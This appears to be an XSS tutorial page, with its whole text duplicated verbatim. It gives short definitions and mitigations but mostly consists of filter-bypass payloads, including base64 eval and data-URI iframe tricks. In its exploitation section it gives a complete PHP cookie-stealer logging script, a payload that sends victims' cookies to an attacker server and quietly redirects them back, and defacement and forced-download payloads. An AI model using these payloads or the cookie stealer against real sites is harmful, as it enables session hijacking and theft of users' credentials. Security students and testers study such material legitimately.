Cross Site Scripting (XSS)
===============================
Definition => Cross-site Scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
The ability to inject code into the Web page generated, potential threats. An attacker can use XSS vulnerabilities to steal cookies, hijack accounts, execute ActiveX, execute Flash content, force you to download software, and take action on your hard disk and data.
If you look more closely at the URL, it might actually exploit a vulnerability in your bank’s Web site, and look something like http://www.website.com/somepage?redirect=<script>alert(‘XSS’)</script>, where the use of the “redirect” parameter has been exploited to carry out the attack.
**************************
ALL about SQL Injection and Defence
What is Session
Fun with computers => make-folder-without-name
********************************************************
XSS are 3 types
==================
Stored XSS (AKA Persistent or Type I)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser
Reflected XSS (AKA Non-Persistent or Type II)
Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data. In some cases, the user-provided data may never even leave the browser
DOM Based XSS (AKA Type-0)
DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write)."
URL fragments (use to go something inside javascript | Something coming after # (hash) will not go to the server.
Attacks can be done by XSS
==========================================
> steal cookies (if they are not httpOnly)
> retrieve the current page that the victim sees (as the victim user)
> get the current URL of the victim
> get the current referrer of the victim
> Redirect to some other website
> use the application cookies to gain access to the victim’s account
> use possible CSRF (cross-site request forgery) vulnerabilities to make the victim perform unwanted actions in the application (e.g. add a new user)
> inject malicious code into victim’s browser in order to exploit browser vulnerabilities
> inject malicious Java applet, etc
Mitigation
===============
> Input validation both client and server side
> Output encoding
> White listing of words
> OWASP escapi
JavaScript functionality
==============================
Window object
Windows Object Properties
1) window.locate
<script>window.location.href="htts://www.google.co.in"</script>
2) document.body.innerHTML
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>THIS SITE WAS HACKED</h1></div>";</script>
XSS Cases
===================
Case 1 :
When there is no input validation and no output encoding use simple payload
<script>alert(9)</script>
<svg/onload=alert(9)>
“><img src=x onerror=alert(1);>
Case 2 :
When value is going inside value Case (value= "something">) then try to put payload outside the double quotes
"><script>alert(9)</script>
"><svg/onload=alert(9)>
Case 3 :
Try inject payload all the possible parameters, input boxes, dropdown list and hidden fields like
input boxes
search?q=
value=' '
drop down list value going in a parameter
p=something (Hidden) (intercept with the burp-Suite)
Case 4 :
when input box has limitation of alphabets to be written in it. Then right click on input box choose inspect element and change the number to max (so that u can write your payload)
value = "><svg/onload=alert(9)>
Case 5 :
When you are getting output encoding inside the value tag then try to make payload using event handlers like onmouseover or onmouseclick
Even see what all things are output encoded and escaped
123" onmouseover="alert(9);
asd" onmouseclick="alert(9);
When server is escaping special characters like " or ' then payload be
123 onmouseover=alert(9);
Case 6 :
A thumb rule for href tag is that when any input is making a hyperlink just give him a simple payload
javascript:alert(9)
and you get the alert box
hyper link payloads
<a href="http:google.com" onclick=javascript:alert(9)> for always a link created
www.google.com" onclick="confirm(9)"> href payload
Case 7 :
When server is removing some words or alphabets the try to covert that words in base64 to bypass
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
"><script>eval(alert(document.domain))</script>
Case 8 :
the words script, style and on aren't allowed, we have to think about something else this time. Apparently, it's possible to encode JavaScript as Base64 and make it execute as an iframe src.
<iframe src="data:text/html;base64, .... base64 encoded HTML data ....">
The HTML data we want to use is:
<script>parent.alert(document.domain);</script>
parent. is needed because we want the alert to execute in the context of the parent's window. Encoding it as Base64 with the Character Encoding Calculator results in:
PHNjcmlwdD5wYXJlbnQuYWxlcnQoZG9jdW1lbnQuZG9tYWluKTs8L3NjcmlwdD4
The code that we will then put into the search box to finish the level is:
"><iframe src="data:text/html;base64,PHNjcmlwdD5wYXJlbnQuYWxlcnQoZG9jdW1lbnQuZG9tYWluKTs8L3NjcmlwdD4="></iframe>
Case 9 :
Sometimes playing with html tags also leads to XSS
for example :
closing of a textarea and then putting a payload leads to stored XSS
payload :
</textarea><svg/onload=alert(9)>
Case 10 :
Sometimes putting a parameter and then a payload leads to reflective XSS
for example
we have an url http://www.website.com/forgotpassword
change to
url http://www.website.com/forgotpassword?aa=<script>alert(9)</script>
Case 11 :
When some input is going inside <script> </script> the we have to only put "-alert(9)-"
it is vulnerable to XSS
Case 12 : DOM BASED XSS
For example:
1)
Assume that the URL
http://www.vulnerable.site/welcome.html
contains the following content:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
Welcome to our system
…</HTML>
This page will use the value from the "name" parameter in the following manner.
http://www.vulnerable.site/welcome.html?name=Joe
In this example, the JavaScript code embeds part of the document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as
http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>
2)
<script>
var h = document.location.hash.substring(1);
if (h && h != ""){
var re = new RegExp(".+@.+");
if (h.match(re)){
document.getElementById("email").innerHTML+="("+h+")";
}
}
</script>
payload = <img/src=x onerror=alert(9)>@gmail.com
==============
IMP :-
Attribute's value field (with the " character escaped to "). Escaping ASCII characters can easily be done through this character encoding calculator: http://ha.ckers.org/xsscalc.html.
============================================================================================================================
**************************
ALL about SQL Injection and Defence
What is Session
Fun with computers => make-folder-without-name
**************************************************
Exploitation With XSS
=========================
IMP => https://www.exploit-db.com/papers/13057/
https://www.exploit-db.com/docs/15530.pdf
http://internet.wonderhowto.com/how-to/hack-remote-internet-browser-with-xss-shell-261948/
Exploit 1 :
Attacker can redirect victim to the malicious website
payload :
<script>alert("click ok to redirect");window.location.href="https://www.google.com"</script>
Attacker can make victim to download any malicious file to download
payload
<script>document.location="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe";</script>
Exploit 2 :
Attacker can steal cookies of the victim
How to do it :
In stealing cookies, there is a 3 step process
attacker needs
1)injected script
2)cookies stealer
3)log file
Create an account on a server and create two files, log.txt and cookiestealer.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste following php code into your cookie stealer script (cookiestealer.php):
cookiestealer code :
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
This script will record the cookies of every user that views it.
Now find a XSS vulnerable page or parameter or search box and put the payload
"><script language= "JavaScript">document.location="http://yoursite.com/cookiestealer.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened.
Exploit 3 :
Attacker can deface a page with its own page or pic or photo
Palyload
<img src=link of the image>
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>THIS SITE WAS HACKED</h1></div>";</script>
Exploit 4 :
BEF = Browser Exploitation Framework
http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.kypFITWL.dpbs
===============================
Definition => Cross-site Scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
The ability to inject code into the Web page generated, potential threats. An attacker can use XSS vulnerabilities to steal cookies, hijack accounts, execute ActiveX, execute Flash content, force you to download software, and take action on your hard disk and data.
If you look more closely at the URL, it might actually exploit a vulnerability in your bank’s Web site, and look something like http://www.website.com/somepage?redirect=<script>alert(‘XSS’)</script>, where the use of the “redirect” parameter has been exploited to carry out the attack.
**************************
ALL about SQL Injection and Defence
What is Session
Fun with computers => make-folder-without-name
********************************************************
XSS are 3 types
==================
Stored XSS (AKA Persistent or Type I)
Stored XSS generally occurs when user input is stored on the target server, such as in a database, in a message forum, visitor log, comment field, etc. And then a victim is able to retrieve the stored data from the web application without that data being made safe to render in the browser
Reflected XSS (AKA Non-Persistent or Type II)
Reflected XSS occurs when user input is immediately returned by a web application in an error message, search result, or any other response that includes some or all of the input provided by the user as part of the request, without that data being made safe to render in the browser, and without permanently storing the user provided data. In some cases, the user-provided data may never even leave the browser
DOM Based XSS (AKA Type-0)
DOM Based XSS is a form of XSS where the entire tainted data flow from source to sink takes place in the browser, i.e., the source of the data is in the DOM, the sink is also in the DOM, and the data flow never leaves the browser. For example, the source (where malicious data is read) could be the URL of the page (e.g., document.location.href), or it could be an element of the HTML, and the sink is a sensitive method call that causes the execution of the malicious data (e.g., document.write)."
URL fragments (use to go something inside javascript | Something coming after # (hash) will not go to the server.
Attacks can be done by XSS
==========================================
> steal cookies (if they are not httpOnly)
> retrieve the current page that the victim sees (as the victim user)
> get the current URL of the victim
> get the current referrer of the victim
> Redirect to some other website
> use the application cookies to gain access to the victim’s account
> use possible CSRF (cross-site request forgery) vulnerabilities to make the victim perform unwanted actions in the application (e.g. add a new user)
> inject malicious code into victim’s browser in order to exploit browser vulnerabilities
> inject malicious Java applet, etc
Mitigation
===============
> Input validation both client and server side
> Output encoding
> White listing of words
> OWASP escapi
JavaScript functionality
==============================
Window object
Windows Object Properties
1) window.locate
<script>window.location.href="htts://www.google.co.in"</script>
2) document.body.innerHTML
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>THIS SITE WAS HACKED</h1></div>";</script>
XSS Cases
===================
Case 1 :
When there is no input validation and no output encoding use simple payload
<script>alert(9)</script>
<svg/onload=alert(9)>
“><img src=x onerror=alert(1);>
Case 2 :
When value is going inside value Case (value= "something">) then try to put payload outside the double quotes
"><script>alert(9)</script>
"><svg/onload=alert(9)>
Case 3 :
Try inject payload all the possible parameters, input boxes, dropdown list and hidden fields like
input boxes
search?q=
value=' '
drop down list value going in a parameter
p=something (Hidden) (intercept with the burp-Suite)
Case 4 :
when input box has limitation of alphabets to be written in it. Then right click on input box choose inspect element and change the number to max (so that u can write your payload)
value = "><svg/onload=alert(9)>
Case 5 :
When you are getting output encoding inside the value tag then try to make payload using event handlers like onmouseover or onmouseclick
Even see what all things are output encoded and escaped
123" onmouseover="alert(9);
asd" onmouseclick="alert(9);
When server is escaping special characters like " or ' then payload be
123 onmouseover=alert(9);
Case 6 :
A thumb rule for href tag is that when any input is making a hyperlink just give him a simple payload
javascript:alert(9)
and you get the alert box
hyper link payloads
<a href="http:google.com" onclick=javascript:alert(9)> for always a link created
www.google.com" onclick="confirm(9)"> href payload
Case 7 :
When server is removing some words or alphabets the try to covert that words in base64 to bypass
"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='));</script>
"><script>eval(alert(document.domain))</script>
Case 8 :
the words script, style and on aren't allowed, we have to think about something else this time. Apparently, it's possible to encode JavaScript as Base64 and make it execute as an iframe src.
<iframe src="data:text/html;base64, .... base64 encoded HTML data ....">
The HTML data we want to use is:
<script>parent.alert(document.domain);</script>
parent. is needed because we want the alert to execute in the context of the parent's window. Encoding it as Base64 with the Character Encoding Calculator results in:
PHNjcmlwdD5wYXJlbnQuYWxlcnQoZG9jdW1lbnQuZG9tYWluKTs8L3NjcmlwdD4
The code that we will then put into the search box to finish the level is:
"><iframe src="data:text/html;base64,PHNjcmlwdD5wYXJlbnQuYWxlcnQoZG9jdW1lbnQuZG9tYWluKTs8L3NjcmlwdD4="></iframe>
Case 9 :
Sometimes playing with html tags also leads to XSS
for example :
closing of a textarea and then putting a payload leads to stored XSS
payload :
</textarea><svg/onload=alert(9)>
Case 10 :
Sometimes putting a parameter and then a payload leads to reflective XSS
for example
we have an url http://www.website.com/forgotpassword
change to
url http://www.website.com/forgotpassword?aa=<script>alert(9)</script>
Case 11 :
When some input is going inside <script> </script> the we have to only put "-alert(9)-"
it is vulnerable to XSS
Case 12 : DOM BASED XSS
For example:
1)
Assume that the URL
http://www.vulnerable.site/welcome.html
contains the following content:
<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
Welcome to our system
…</HTML>
This page will use the value from the "name" parameter in the following manner.
http://www.vulnerable.site/welcome.html?name=Joe
In this example, the JavaScript code embeds part of the document.URL (the page location) into the page, without any consideration for security. An attacker can abuse this by luring the client to click on a link such as
http://www.vulnerable.site/welcome.html?name=
<script>alert(document.cookie)</script>
2)
<script>
var h = document.location.hash.substring(1);
if (h && h != ""){
var re = new RegExp(".+@.+");
if (h.match(re)){
document.getElementById("email").innerHTML+="("+h+")";
}
}
</script>
payload = <img/src=x onerror=alert(9)>@gmail.com
==============
IMP :-
Attribute's value field (with the " character escaped to "). Escaping ASCII characters can easily be done through this character encoding calculator: http://ha.ckers.org/xsscalc.html.
============================================================================================================================
**************************
ALL about SQL Injection and Defence
What is Session
Fun with computers => make-folder-without-name
**************************************************
Exploitation With XSS
=========================
IMP => https://www.exploit-db.com/papers/13057/
https://www.exploit-db.com/docs/15530.pdf
http://internet.wonderhowto.com/how-to/hack-remote-internet-browser-with-xss-shell-261948/
Exploit 1 :
Attacker can redirect victim to the malicious website
payload :
<script>alert("click ok to redirect");window.location.href="https://www.google.com"</script>
Attacker can make victim to download any malicious file to download
payload
<script>document.location="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe";</script>
Exploit 2 :
Attacker can steal cookies of the victim
How to do it :
In stealing cookies, there is a 3 step process
attacker needs
1)injected script
2)cookies stealer
3)log file
Create an account on a server and create two files, log.txt and cookiestealer.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste following php code into your cookie stealer script (cookiestealer.php):
cookiestealer code :
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}
function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();
$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");
if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}
logData();
?>
This script will record the cookies of every user that views it.
Now find a XSS vulnerable page or parameter or search box and put the payload
"><script language= "JavaScript">document.location="http://yoursite.com/cookiestealer.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>
yoursite.com is the server you're hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you're exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don't know anything happened.
Exploit 3 :
Attacker can deface a page with its own page or pic or photo
Palyload
<img src=link of the image>
<script>document.body.innerHTML="<style>body{visibility:hidden;}</style><div style=visibility:visible;><h1>THIS SITE WAS HACKED</h1></div>";</script>
Exploit 4 :
BEF = Browser Exploitation Framework
http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.kypFITWL.dpbs
